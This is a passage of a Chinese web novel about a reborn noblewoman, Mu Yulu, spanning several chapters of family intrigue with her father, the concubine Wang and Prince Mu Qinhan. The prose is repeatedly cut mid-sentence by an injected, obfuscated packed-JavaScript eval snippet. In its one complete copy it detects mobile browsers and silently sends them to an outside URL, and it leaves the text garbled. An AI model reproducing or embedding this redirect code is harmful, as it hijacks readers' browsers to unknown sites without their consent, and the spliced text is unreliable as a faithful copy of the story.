回到王府之后她日日用酒麻痹自己，每天都喝得醉死过去，仿佛唯有如此才能让她忘记身上的疼痛和心中的屈辱。 她就这样活在醉生梦死中，直到穆衾寒带着柳闻霜返回朱雀国，为了感激他的王妃不远万里救护之情，他特意为她求了一道圣旨，从此柳闻霜诰命加身，成为了朱雀国为数不多的诰命夫人。 虽说上一世沐毓露为了得到穆衾寒的爱曾使过一些下作手段，曾经鬼使神差地对他下过情蛊，但是现在回想起来，她只觉得上一世的自己才像是中了穆衾寒的蛊。 不然她实在是想不明白，一个人得有多下贱才会在这样的情况下依旧对穆衾寒爱得死去活来，甘愿作为侍妾死乞白赖留在府上，伺候着被她恨得牙痒痒的穆府王妃柳闻霜。 若不是穆衾寒赶她离开，让她孤身一人返回朱雀国，她也不会遇见那样的危险。 若非她运气好蒙人相救，只怕早就死于非命，连尸体都被山中的野狼叼了去。 这一世的沐毓露终于是想明白了，摆明了穆衾寒没拿她当个人，这样都还能爱下去，她委实不知道前世的自己到底在爱些什么。 上一世回到王府之后她就将救命恩人对她说过的话忘得一干二净，再次见到穆衾寒时她又变回了那副做小伏低不值钱的样子。 然而重活一回，再度忆起往事，她满脑子都是那人清冽的嗓音，脑海中再也不见穆衾寒的模样，而是反复回荡着那人所说的话。 至少要让他们付出代价。 倘若伤害过她的人她都能原谅，那么前世她所经历的一切都是活该。 想到这里沐毓露脸上浮现出狠戾的神色。 她双手用力攥住床沿，水葱似的指甲应声而断。 穆衾寒始终在旁边观察着她，眼见她的脸色越来越难看，他忍不住往前凑了凑：“这么严肃？你在想什么？” 话音尚未落地，忽然一道寒光在他眼前掠过，紧接着冰凉的匕首抵在了他的脖间。 这一把匕首并没有开过刃，但穆衾寒感受得到自刀刃上溢出的杀气。 他根本没有想到，沐毓露的枕头底下居然藏着一把匕首，此刻她用匕首指着他，眼神无比森寒。 她眼中的恨意不似作伪，仿佛恨不得将他剥皮削骨。 算上白日里她夺命而逃的那一次，今晚是他们第二次见面而已，在此之前两人应当没有过任何交集。 因此他不明白她眼中的恨意由何而来。 皱了皱眉，穆衾寒直起身子，语气骤然冷了下来：“若是在平时，有人胆敢拿匕首指着本王……” 话还没有说完，但见沐毓露手腕一翻，原本指向他的匕首抵在了沐毓露自己的脖子上。 穆衾寒面色一变，猛地伸出手将沐毓露手中的匕首夺下。 他看得出来沐毓露眼中的决绝，她不是在做戏，若他的动作慢了一步，那匕首当真会划破她的喉咙，好好一个人就要香消玉殒了。 穆衾寒惊出了一身冷汗。 她为什么要这样做？ 到底什么仇什么怨？ 望着眼前这个一忽儿想杀他一忽儿想自尽的女子，他竟然从心底里生出了一种无力感。 她眼中的憎厌实在令他捉摸不透。 深深地注视了她一会儿，穆衾寒沉着脸色转身越窗离去，离开时带起一阵微风。夜风拂过沐毓露的脸庞，传来些许凉意，她微微眯了眯眼。 坐在床上冷静了一会儿，她把被穆衾寒打落在地的匕首捡起来，小心翼翼地放回了枕头底下。 自从死过一次之后，她就变得有些敏感多疑，每天晚上都睡不安稳，因此从厨房取来了这一把小刀，每日都搁在自己枕头底下。 却没想到它今天还能派上这样的用场，当真唬走了穆衾寒，算它大功一件。 不过方才沐毓露是真的想自尽，并非全然是在吓唬穆衾寒。 即便她早已下定决心，这辈子绝对不要再爱上穆衾寒，可是在真正面对她时，心动的感觉比脑子里理智的想法来得更快。 面对穆衾寒时克制不住的心潮涌动，似乎已然成为她烙印在灵魂里的欲望。 她真的没有中什么蛊么？ 想想穆衾寒应该也不屑于在她身上种蛊。 但也正因如此沐毓露才感到非常的绝望。 在他面前她总是控制不住自己的情绪，或喜或怒总要放大百倍，与其如此被动，倒不如再死一次。 就在她绝望地往后一躺倒向榻上之时，一袭宽大的袍影从她没有关严实的窗前掠过。 沐毓露惊恐地睁大了眼，重新坐起身来。 刚才什么东西飞过去了？ 犹豫了好一会儿，她压下心中的惊惧，穿好中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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犹豫了一下，她翻出窗户向粉衫男子所在的那座阁楼走去。 这座书阁是沐府最高的建筑，站在阁楼顶端可以俯瞰京城，建造此阁时沐玉罡亲自参与了设计，可谓是他的得意之作。 阁中藏书丰厚，据说每层楼都有几百册藏书，而这座书阁至少有二十层之高。 别看沐府拥有全京城最豪华的书阁，但其实家主沐玉罡压根没什么文化，他最多不过识得几个大字而已。 沐玉罡作为一个商人是很成功的，他是真正意义上的白手起家，但也正因如此，待他成功之后最为痛恨的便是旁人说他是一个目不识丁的粗鄙商人，一身的铜臭味儿。 所以这座书阁只是沐玉罡用来证明自己肚子里有墨水的摆件，并不具备实用性。 沐毓露爬到距离书阁较近的一间荒废已久的院子顶上，抬首仰望书阁以及站在书阁顶端的那个人。 当真是好高的一座楼啊…… 沐毓露忍不住感慨。 最没文化的她爹拥有全京城最高的一座书阁，看来果然是越缺什么越爱显摆什么。 10. 第10章 沐毓露一边感慨，一边踉踉跄跄地爬到屋顶上站好。 那书阁里的藏书简直就是沐玉罡的心肝宝贝，除他之外谁也不准随意进出书阁，便连他最宠爱的王姨娘都不能。 沐毓露自然更不能进入书阁了，此刻她所在的这间废弃小院便是离书阁最近的建筑，若想观察那粉衫男子，这里便是最好的地方了。 其实她自己也不太清楚大半夜的跑到这里来观察他做什么，她并不打算惊动他，也不知道该同他说些什么。 向他道一句迟来的感谢么？ 谢谢他救了她，愿意耐心地听她诉苦，还告诉她那些道理。 可是他救她性命，那是上一世的事情，这一世的他们从来没有见过面。 罢了，今生的他们没有上一世的缘分，她还是不要打扰他了。 便在她打算转身离开这里的时候，那立于书阁顶端的男子忽然回头朝她的方向望来，然后两个人就这样猝不及防地对视了。 沐毓露根本就没有想到会在这样的情况下与他相见，与男子冰冷锋利的目光对视的一瞬间，她脚底一滑朝楼下摔去。 她也不知道自己在心虚什么，总之与他对视时她下意识想移开目光，然而脚下的动作比她的眼珠子动得更快，等她反应过来发生了什么的时候，她已经在空中自由落体了。 这院子底下可不是人工湖，她摔下去必然会变成一滩肉泥，在求生欲的支配下她忘记了心中的恐惧，张开双臂奋力扑腾起来。 这些努力自然是没有用的，她仍旧继续往下坠落，甚至在空中划出了一个优美的弧度。 绝望之际她仰首望向书阁的方向。 救命恩人呢？ 她的救命恩人在哪里？ 她瞪大了眼睛在心里碎碎念：重活一世恩人能不能再救我一次？ 可是定睛一瞧，屋顶上哪里还有恩人的身影。 夜风卷起一片树叶打着旋儿落下，方才男子所在的地方不知何时变得空空荡荡。 沐毓露认命地闭上了眼睛。 下一秒却落进温热的怀里。 迎接她的不是冰凉的大地，而是她救命恩人宽大的胸膛。 沐毓露惊喜地睁开眼睛，首先映入眼帘的便是男子覆在脸上的狰狞面具。 此时此刻见着这个有些骇人的面具，她觉得无比亲切，手忙脚乱地攥住他的衣襟，她热泪盈眶道：“你又救了我一次。” 男子隔着面具皱了皱眉，目光里也流露出些许疑惑之意。 这是他们第一次见面，什么叫又救了她一次？ 沐毓露往下张望了一眼，一边喃喃地说着这么高你可千万别让我掉下去，一边紧张地搂住他的脖子，力气之大拽得他在空中险些一个踉跄。 他自知自己的轻功已经修炼到了登峰造极的地步，却没想到今天晚上差点栽在沐毓露身上。 倘若真的被她拽了下去，他以后也不用在江湖上混了。 怀中的少女墨发如瀑，因为过于惊惧而哭得梨花带雨，分明看起来娇滴滴的，也不知她是从哪里来的这么大力气？ 其实早在她爬上书阁对面院子顶上的时候他便察觉到了她的存在，只不过他并没有惊动她，而是不动声色地观察着她。 毕竟这大晚上的和他一样爬房顶，实在是很难不让人心生怀疑。 当时他做了两种猜测，要么她是同行，和他一样有需要夜间出行的任务，要么她就是仇家，一路追杀他到了这里来。 他推测第二种的可能性非常大，毕竟他的仇家实在是太多了，他根本记不住什么时候得罪了谁，但是他的那些仇家里面，像这个女子一样大半夜的穿着中衣欲盖弥彰爬房顶的人特别多。 心中已经有了成论，他将手一直按在剑柄上，防备着她什么时候会突然暴起发难，却没想到此人踢了踢腿，然后把她自己从房顶上扔了下去。 他实在是看不懂她想要干嘛。 迄今为止这个女子的所有行动都在他的意料之外。 不过这么多年来他一直混迹于腥风血雨的江湖中，基本的防备意识还是有的。 很快他便想到，这莫不是仇家发明的新型复仇手段？ 先是伪装成手无缚鸡之力的无辜少女，等他放松戒备后再来一出英雄救美的好戏，这女子看似柔弱无害，实际上说不定身负什么武林绝学，只待他靠近便会将他一击毙命。 因此沐毓露从房顶跌落的时候他并没有第一时间出手，而是继续沉默地观察着她。 细节是骗不了人的。 只看这女子上下扑腾的胳膊，根本毫无章法，再看她惊恐万分的表情，一点也不像是装的。 观察得越细他就越接近真相。 这女子她当真是不会武功啊？ 眼看着她快要与大地亲密接触，他在脑海中天人交战了一番，最后到底还是良心战胜了疑心，他出手救下了她。 她落进他怀里的第一反应便是抓住救命稻草般攥紧他的衣襟，这让他更加确信，怀里的这个人当真是一点武功根基都没有，根本就是个从未习过武的普通人。 既不是同行，也不是仇家，那她大晚上的不睡觉和他一起爬房顶干什么？ 他心中的疑惑在沐毓露热泪盈眶地说出你又救了我一次的时候得到了解答。 然后他用一只手揽着她，抬起另一只手头疼地揉了揉额角。 想必这女子是府中的某位小姐，晚上倚窗赏月时对月下的他一见倾心，因此想了这么个法子引起他的注意。 怪不得他总觉得她望向他的目光怪怪的。 有一点欣喜，有一丝热络，还有一分说不清道不明的熟悉，总之绝对不是初见陌生人的眼神。 这表情一看就是演出来的。 只不过法子也太俗套了些。 他迎上沐毓露的目光，接住了她眼中的热切，然后微微勾起唇角：“没想到朱雀国的女子竟如此奔放。” 沐毓露：“？” 什么东西？ 他说谁奔放？ 不待她开口说话，只见救命恩人低头往下瞅了瞅，确定了周围的环境之后，哗地一下松开了手。 “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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心云知晓王姨娘这遭就是冲着她来的，她瑟缩着不敢抬头，咬了咬牙斟酌着回道：“昨晚清芜院来人闹了一场，小姐将他们呵退后便让奴婢去休息了，因此小姐坠湖时奴婢不在小姐身边。” 她感觉得到王姨娘锐利的目光正扫在她的身上，但是此刻小姐陷入昏迷，她更加不能退缩，于是鼓足了勇气继续道：“但是奴婢可以保证，昨晚小姐绝对不是故意投湖的。奴婢日日陪在小姐身边，她的变化奴婢都看在眼里。” “昨儿个小姐还说，以前的事情都是她的不对，所以她向老爷自请禁足，为的便是修身养性，改掉以前的毛病。” “小姐已然不是从前的小姐了，她又怎么会再次投湖呢？” 她犹犹豫豫地抬起头扫了王姨娘一眼：“想必是昨晚清芜院的人给了小姐好大的气受，小姐实在是气不过，所以才会在晚上到湖边去走一走，想排遣一下心情，可是夜色太暗，她这才一不小心失足掉进了湖里。” 沐玉罡听得皱紧了眉头，他啧了一声，又叹了口气，然后转头问王姨娘：“昨晚清芜院的人又跑来闹什么？” 11. 第11章 昨晚沐毓露将清芜院派去的小厮都赶了回来，回到院子后那些小厮就跟鹌鹑似的不敢吭声，不论王姨娘怎么问，他们都只说大小姐正在禁足，那是老爷的命令，他们也不敢硬闯。 王姨娘当时便觉得不对劲。 按照她对沐毓露的了解，昨天晚上这位骄横霸道的大小姐应该闹翻天了才是。 让小厮们把沐毓露带到清芜院来并非她的真实目的，等着这位大小姐自掘坟墓的时候她再把老爷请来，这才是她昨晚派人去沐毓露院中大闹的真正计划。 却没想到这些小厮竟然在沐毓露那里吃了瘪，全都被灰溜溜地赶回来了，连大气都不敢喘一口。 她觉得沐毓露跟以前不一样了。 这个没脑子的丫头好像突然之间长出了脑子。 因此在听闻沐毓露昨晚又坠湖之后，王姨娘便忙不迭赶了过来，关心沐毓露是假，试探她的虚实是真。 却是没有想到，变了的不仅是沐毓露，还有她那个胆小如鼠的丫鬟。 这丫鬟什么时候长了胆子，敢当着她的面大放厥词？ 然而此刻沐玉罡正盯着她等她回话，她倒也不好立时发作，于是不动声色地吸了口气，泪眼涟涟地道：“也不是什么大事，说到底还不是孩子们的事儿。” “星儿为了参加昨晚的庙会在两个月前定制了一套成衣，那衣裳倒也实在难得，穿在身上那叫一个水灵。俗话说人靠衣装马靠鞍嘛，星儿也是想在庙会上给沐家的女儿们长一长脸。” “后来小露看见了那套衣裳，便直接拿去穿了，星儿找不着衣裳在院子里哭了一场，我便让下人们四处去找找，看是不是落在了什么地方。” 说到这里她赶忙补充了一句：“倒不是我冤枉小露，昨儿个派下人们去找衣裳，并非独独去了小露的院子，其余各处也都是寻了的。只是后来听人说小露穿着那件衣裳出了府到处张扬，我才知道衣裳竟被她穿了去。” 沐玉罡面色铁青：“说来说去就为了一件衣裳？” 心云听见他如此问，当即精神一振，就在她以为老爷要为小姐主持公道的时候，却见沐玉罡拂袖转身对着躺在床上的沐毓露啐道：“还是做姐姐的，就为了一件衣裳跟妹妹闹！” “谁说不是呢？”王姨娘抹了抹眼泪：“不过老爷，小露她还是个孩子，她懂什么呀？您可千万别同她生气。” 说着说着她又哭了起来：“您说这叫什么事儿呀，星儿为了这件衣裳在院子里连着哭了好几场，谁成想衣服没有找回来不说，她自个儿还病倒了，那小脸儿到现在还烫着呢。” “我可怜的孩子，盼庙会盼了这么久，竟然就这样错过了，等她醒过来还不知道要怎么伤心呢。” 王姨娘在沐玉罡面前哭个没完没了，他倒也不嫌烦，极有耐心地安慰着她。 想是王姨娘本就哭得他心疼不已，在听见沐星子还发着高烧躺在床上之后，他不由更加心痛。 于是也就更加恼怒造成这一切的始作俑者沐毓露。 然而此刻沐毓露还昏睡在床上，沐玉罡有气没处撒，撒了也没人理，于是他又转过头将怒火发泄到心云身上：“小姐接二连三出事，就是因为你们这些奴才混账惫懒！” 王姨娘赶紧附和道：“小露这一段时间胡作非为，不是上吊就是跳湖，还拉着她妹妹一起跳，这哪里是大家闺秀做得出来的事情？小露本来是个好孩子，要我看啊，她这段时间的所作所为定是这起子贱婢挑唆的！” 她抬手抚上沐玉罡的胸口，一边替他顺气一边继续道：“都是奴家不好，当初给小露挑这个丫鬟来伺候，本是看重她细心妥帖，怎知她竟是个包藏祸心阳奉阴违的贱婢，好好的一个小姐都被她带坏了！” 她又嘤嘤地哭了起来：“老爷信任我，让我协助夫人一起管家，我却连这些贱婢都调教不好，老爷把我的管家钥匙收了去吧，我实在没脸管这偌大一个沐府了。” 心云今日才算是真正见识到了王姨娘的厉害之处，她哪里是她的对手，对方上下嘴唇一碰便能颠倒是非黑白，心云觉得自己就算是多出十张嘴也说不过她。 沐玉罡又开始忙着安慰王姨娘：“好了好了别哭了，你也说了，这偌大一个沐府，哪里是这么好管的。府中的事情千头万绪，这么多年来还不是靠你从中周旋，才能打理得沐府上下井井有条。” 他简直快要把王姨娘夸出花儿来了：“你一个人哪里忙得过来这么多事情，光是每年的大小宴饮就够你操心的了，更何况女儿们渐渐大了，便是小露今年的及笄礼也少不得要你多费心，你便是有三头六臂也顾不过来这么多事情呀。” 王姨娘啜泣道：“夫人身体不好，这府中的大小事情我能多使一份力便是多替夫人分担些担子，让我帮着一起管家，也是老爷和夫人对我的信任。如今夫人也病着，小露又出了这些事儿，我真是……真是……” 她不动声色地又将话题引回了沐昭氏身上去。 果闻沐玉罡带着怒气道：“夫人倒是当惯了甩手掌柜，不知道管理这偌大一个府邸有多艰难，什么事儿都推在了你身上，她倒是乐得轻松。” 王姨娘连忙道：“老爷，您这可就是冤枉夫人了，夫人对府中事务倒也十分上心。我呀虽然管着府中的大小事务，却也要事事向夫人禀报的。” 她斜睨了跪在地上的心云一眼：“譬如最近这几桩事，我有心想要发落了这挑拨主子的贱婢，但沐府发落奴才自有章程，还是得到夫人处汇报了情况，最后等她做决定，这可不就是需要夫人操心的事？” 沐玉罡冷笑一声：“你也别替她找补了，我虽然时常不在府中，却也知道这府里的事情全都靠你料理，昭氏操过什么心？她女儿这几日不要命地胡闹，她可曾管过一点？” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沐毓露的威名早就已经在沐府小厮们当中传开了，听见沐毓露发话，他们赶忙松开钳住心云胳膊的手，垂首站到了一边。 这一幕显然刺激到了沐玉罡，小厮们对沐毓露的畏惧让他觉得自己的威严受到了挑战。 因此他变得异常愤怒，几乎是跳了起来指着沐毓露的鼻子骂：“你听听自己说的这是什么话？昭氏平时就是这么教导你的？整个沐府的下人都是老子花钱买来的，我想怎么发落就怎么发落！” 他将声音吼得震天响：“赶紧把这个贱婢给老子拖下去！” 小厮们被吓得一激灵，赶紧拖着心云就要往屋外走。 却见沐毓露猛地掀开被子，直接走下床。 “今天谁敢带走心云，我就一头撞死在宗祠里祖先的牌位上。”她仰首直视着沐玉罡的眼睛，丝毫不畏惧他眼中的凶光：“父亲，女儿说得出就做得到。” 12. 第12章 被自己女儿当着众人的面如此挑衅，沐玉罡哪能咽得下这口气，他愤怒得额上的青筋都一根根暴起：“你威胁谁呢沐毓露？” “我告诉你，你想死没人拦着你，你最好现在就痛痛快快去死，我就当没有你这么个不孝女！” 沐毓露与他针锋相对：“父亲，我没有威胁你。我知道我要是真一头撞死在宗祠里，不仅你会害怕，王姨娘也会害怕。” “这天下没有密不透风的墙，很快全京城都会知道，沐府宠妾灭妻，为了一个姨娘逼死了嫡长女。敢问父亲，若是这些话在京城里传开了，你以为还会有好人家敢来沐府提亲么？” 她将目光移到缩在沐玉罡后面的王姨娘身上：“姨娘，你费尽心机为沐星子筹谋了这么多年，不就是希望她像你一样嫁一个有钱或是有权的人家，风风光光地出嫁，如鱼得水过日子么？” “为了除掉我身边的一个丫头付出这样的代价，不值当。” 王姨娘避开她的目光，躲在沐玉罡身后尴尬地笑：“老爷，你听这丫头说什么疯话呢？” 沐玉罡也没有料到沐毓露演都不演了，竟然就这样捅破了窗户纸，大庭广众之下把这些上不得台面的话统统说了出来。 她不要脸他还要脸呢。 见沐毓露这般强硬，他的态度反而软了下来：“你这孩子说的什么疯话？什么宠妾灭妻什么逼死嫡女？要发落这丫头是我的主意，关你姨娘什么事儿？” 沐毓露气笑了。 她冷笑的模样倒是跟沐玉罡一模一样：“关姨娘什么事儿？那您不如亲自问问她，昨晚派一群小厮闯进我房间都干了些什么。” 说到闯进房间这几个字时沐毓露的声音明显颤抖了一下，方才她还是一副盛气凌人的模样，此刻倒变得泫然欲泣了。 沐玉罡顿时一个头变两个大，他疑惑地转头望了王姨娘一眼：“你派小厮进她房间干什么了？” 见王姨娘也是一脸莫名其妙的样子，他又将头扭过来，冲沐毓露摊了摊手：“不就是到你院子来找件衣裳嘛？方才你姨娘都已经跟我说清楚了，也不是多大的事情。” 他的话还没有说完，沐毓露却已经泪流满面，那表情简直称得上悲愤。 怎么看都不像是王姨娘说的寻一件衣裳那么简单的样子。 王姨娘心里涌起一股不好的预感。 果然，只见下一秒沐毓露抬起哭得红肿的眼睛，脸上浮现出绝望的神情。 她抬手对着王姨娘一指：“姨娘，你再讨厌我母亲，再看我不顺眼，平日里苛待我便也罢了，为什么要把事情做得这么绝？” 王姨娘也抬手指了指自己：“谁把事情做得绝？我吗？我干什么了？” 沐毓露咬了咬牙，似是有些犹豫，最后还是决定将这件事情说出来，带着哭腔吼道：“你为什么要派那些小厮来毁我的清白？” 她这一句话犹如平地惊雷，吓得沐玉罡一个哆嗦。 他赶紧上前捂住沐毓露的嘴，一边制止她继续往下讲，一边冲还留在屋子里听八卦的小厮们摆手：“混账东西，还不赶紧出去？” 小厮们唯唯诺诺地点头退出去，又听见沐玉罡道：“谁也不准进屋，但也不许离开这个院子，把院子都给我围起来，一只苍蝇也不许放出去。” 语罢他瞪了心云一眼：“你还留在这里干什么？你也给我滚出去。今天的事情谁要是敢说出去半个字，我直接打死！” 心云站在原地将目光投向沐毓露，沐毓露趁着低头擦眼泪的工夫给了她一个眼神儿，心云瞬间明白了，默默地退了出去，顺便把房门紧紧合上。 现在房间里只剩下沐毓露沐玉罡以及王姨娘三人。 沐玉罡疲倦地在椅子上坐下，抬手指了指王姨娘：“你说，到底怎么回事儿。” 不待王姨娘张口，他又变了主意，转头对沐毓露道：“算了，还是你先说，昨天晚上到底发生了什么，你给我一五一十说清楚。” 沐毓露低头痛哭，未语泪先流。 不就是唱大戏么，谁不会似的。 她哭得那叫一个情真意切撕心裂肺，直哭得沐玉罡没有了耐心，这才将昨晚的事情添油加醋讲了一遍。 听见那些小厮不待沐毓露穿好衣裳便直接闯进了屋里，沐玉罡气得脸都白了。 他将桌子拍得震天响：“谁教的规矩！小露还要不要嫁人了！” 王姨娘当即往地上一跪：“老爷明鉴，奴家只是让他们去寻衣裳的，而且再三嘱咐过不得对小姐无礼，他们怎么可能不分青红皂白闯进屋里。老爷，奴家冤枉啊！” 王姨娘也哭了起来。 一个屋子里两个女人的哭声此起彼伏，沐玉罡有些抓狂。 他望一眼沐毓露，又望一眼王姨娘，最后还是决定先把王姨娘扶起来：“你说说你哭什么呀，我又没有怪罪你。” 他又将目光落到沐毓露身上，见她哭得也分外可怜，于是破天荒宽慰了她两句：“你放心，昨儿晚上闯进你房间的小厮，我全都发落到郊外的庄子去，自有人看着他们，等过一段时间，我亲自找人牙子，把他们都发卖得远远的，一个都不许留在京城。” 王姨娘听见沐玉罡要将清芜院的小厮全都发卖出去，当即慌了神：“老爷，你把他们都发卖出去，那不就没人伺候我和星儿了？这星儿还病着呢……” 沐玉罡摆了摆手：“清芜院缺多少小厮，我都命人买来补上，只是那些冒犯主子的混账奴才是万万不能留了。” 沐毓露抓住时机附和道：“这些奴才如此不守规矩，焉知不是如姨娘所言那般包藏祸心？” 她抹了一把鼻涕眼泪：“昨晚冲撞了我倒是小事，反正我脸皮厚，但若是同样的事情发生在三妹妹身上，那后果可就不敢想象了。” 沐玉罡难得赞同沐毓露的想法：“正是这个理，这样的事情绝对不可以发生第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361931|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二次，就因为星儿还病着，才要赶紧把这些贱奴才都收拾了。” 王姨娘最擅察言观色，知晓此事已无力改变，便也不再坚持，转而换了一个话题：“小露为你妹妹考虑得如此周全，我很是欣慰。不过姨娘也很担心你的身体，你这段时间接二连三出事，精神可还好么？” 沐毓露以不变应万变：“多谢姨娘关心，我早说了我脸皮厚，自然一切都好。” 王姨娘摇摇头，一副关心情切的样子：“要我说还是该请个大夫来瞧瞧，毕竟是个娇滴滴的闺阁女儿，受了这么多的刺激，难免精神会不大好。” 做好了这一番铺垫，她接下来的话便水到渠成了：“老爷，其实昨儿个小厮们来回话，他们根本连屋子都没敢进，衣裳自然也没有取回来。不信你现在搜，那件衣裳到现在都还在小露屋子里呢。” 分明是推诿之语，从她口中说出来倒像极了对沐毓露的关心：“方才听见小露那样说，我也是被这帮混账小厮气昏了头，如今冷静下来想想，他们没取回来衣裳，自然也没能进得了屋子，那么不等小露穿好衣裳便闯进屋中，这话又是从何说起呢？” 她叹了一口气：“所以我才十分担心小露的精神，怕她这段时间受到的刺激太多，若是出现了幻觉可怎么好？” 沐玉罡先是嗯了一声，对王姨娘所说的话表示赞同：“是该请个大夫来给她瞧瞧，别落下什么病根才好。” 然后他握住王姨娘的手，轻轻拍了拍她的手背：“不过，不管昨晚他们到底有没有闯进屋子里，深夜进了小姐院子，总归是不妥。你以后行事也要注意分寸，毕竟小露快要及笄，如今正是给她议亲的关键时刻，若是因为这些腌臜事坏了沐府小姐的名声，影响议亲可如何是好？” 王姨娘一边听着一边唯唯地点头：“这件事情是奴家思虑不周，我也是看星儿寻不见衣裳哭得那样伤心，这才着急忙慌派人去找。老爷放心，我以后一定不会再犯。” 她转身行至沐毓露面前，亲昵地握住她的手：“都是姨娘不好，让你受惊了，可不会因为这件事儿记恨姨娘吧？” 沐毓露冲她粲然一笑，眼中却没有丝毫笑意：“姨娘说的哪里话，我们都是一家人，如今误会已经解除，我又怎么会跟姨娘生气？” 王姨娘听见沐毓露这样回答，也乐呵呵地笑了起来，却也是皮笑肉不笑：“姨娘就知道小露是最识大体的孩子，你从小就乖巧懂事，姨娘怎么能不疼你？好孩子，你放心吧，议亲之事姨娘一定会多多为你上心，为你挑一个乘龙快婿才是。” 沐毓露垂首冲王姨娘福了福身：“多谢姨娘关怀，那我下半生的幸福可就托付在姨娘身上了？” 王姨娘分明恨得牙痒痒，却还是得陪着沐毓露一起笑，她低头凑到沐毓露耳边，做出一副同她讲女人家的悄悄话的样子。 她笑得和蔼，声音却是咬牙切齿：“你这丫头，不去戏班子唱戏真是可惜了。” 13. 第13章 沐毓露挑了挑眉，微微侧首道：“要去也该是您先去呀，您可算得上我的前辈，我呀最多只能学出您三分的本事。” 这厢两人已经剑拔弩张硝烟四起了，另一厢沐玉罡倒是笑得真心实意。 他似乎对沐毓露与王姨娘握手言和的这一幕格外满意，抚掌笑道：“这就对了嘛，一家人有什么误会解不开的，家和万事兴嘛。” 屋里的气氛瞬间变得其乐融融，仿佛方才在沐毓露榻前指着她骂的人不是沐玉罡，从一开始就惺惺作态的也不是王姨娘。 这一场大戏就这样结束了，沐玉罡冲王姨娘摆了摆手：“得了，你先回去休息吧，星儿那里也离不得人，我还有话要同小露讲。” 王姨娘应了一声，松开沐毓露的手，转身退了出去。 屋子里只剩下沐玉罡父女两人，他们对视了一眼，同时收了脸上的笑意。 沐玉罡重新坐了回去，点了点头示意沐毓露也坐：“小露，昨儿的事就这么翻篇了吧，你也别跟你姨娘生气，她也是关心则乱。” 沐毓露微微垂首，低顺的眉眼让她看起来格外乖巧：“女儿是落水之后病糊涂了，并不记得昨晚发生了什么事。父亲说翻篇，自然就翻篇了。” 沐玉罡似乎对她的回答很是诧异，印象里这丫头是个横冲直撞的性子，什么时候学会以退为进这一招了？ 他沉默地打量着沐毓露，总觉得这个女儿看似还跟从前一样，实际上有什么地方变得完全不同了。 至于哪里变得不同，他一时又说不上来。 父女两人就这么安静地干坐着，沐玉罡不说话，沐毓露也不开口，时间好似在两人之间凝固了。 过了许久，沐玉罡咳了一声再次开口：“对了，告诉你个好消息，穆王爷昨晚上抓刺客受伤了。” 沐毓露抬起头：？？？ 这怎么听也不像是个好消息吧？ 沐玉罡接着道：“他今儿个要搬到咱家的山庄去养伤，这可是个千载难逢的好机会。” 他冲沐毓露使了个眼色，一副你懂得的表情：“正巧你母亲这段日子要去山庄附近的寺庙礼佛，得在那里住上一两个月，你们姐儿几个自然是要跟着去伺候的。” “你二妹已经收拾妥当了，今天就跟你母亲一起搬到山庄去，等星儿病好了也是要去的。” 他又看了沐毓露一眼：“你也拾掇拾掇，去山庄住一段时日，好好伺候你母亲吧。” 沐毓露读懂了沐玉罡眼中的深意，他原本是不想带自己去的，许是这段时日她的变化很大，至少不再像以前那般鲁莽，不至于跟着去开罪了穆王爷，于是他顺便把她带上。 她还不知道她爹打的是什么主意？所谓伺候前去礼佛的母亲，不过是一个明眼人都看得出来的幌子。 实际上他是想让几个女儿在穆王爷面前露露脸，万一走了狗屎运，穆王爷眼瞎了看上了其中一个，那他沐玉罡不就成皇亲国戚了？ 其实若单论姿色，沐毓露绝对是沐府三位小姐里最出彩的，全京城也找不出第二个这样的美人来。 只不过所有人都知道，这个美人空有一副好皮相，内里只是一个草包，中看不中用的绣花枕头罢了。 沐玉罡原本就没有在这个草包身上寄托什么希望，再加上从前的沐毓露爱穆衾寒爱得走火入魔，他自然更不敢让她去见穆王爷。 能成为皇亲国戚自然是好，但若是由着沐毓露这个疯子去冲撞了穆王爷，那他沐府上下几十口人也不用活了。 所以前世穆衾寒在沐府别院山庄养伤这件事，沐玉罡是瞒着沐毓露的，只悄悄地带了沐星子和沐晩意两个人去。 后来沐毓露得知此事，还在院子里大闹了一场。 前世的沐毓露因为没去成山庄没见到穆衾寒而生了一场大气，今生的沐毓露却巴不得不要跟去山庄，不要与穆衾寒见面。 她只想离这个瘟神越远越好。 组织了一下语言，她诚恳地道：“女儿两次落水，觉得身体实在是有点虚，母亲那边便劳烦两位妹妹伺候了，我想留在府中好好养一养病。” 不待沐玉罡开口，她叹了一口气，继续说道：“况且您方才说，穆王爷也要在我们的山庄里养伤，您看看女儿这副生了病不人不鬼的样子，若是吓着了穆王爷可如何是好？” 沐玉罡听她说得有理有据，竟一时无法反驳。 本来他想要带沐毓露去山庄，只是为了增加一点成为皇亲国戚的概率而已。 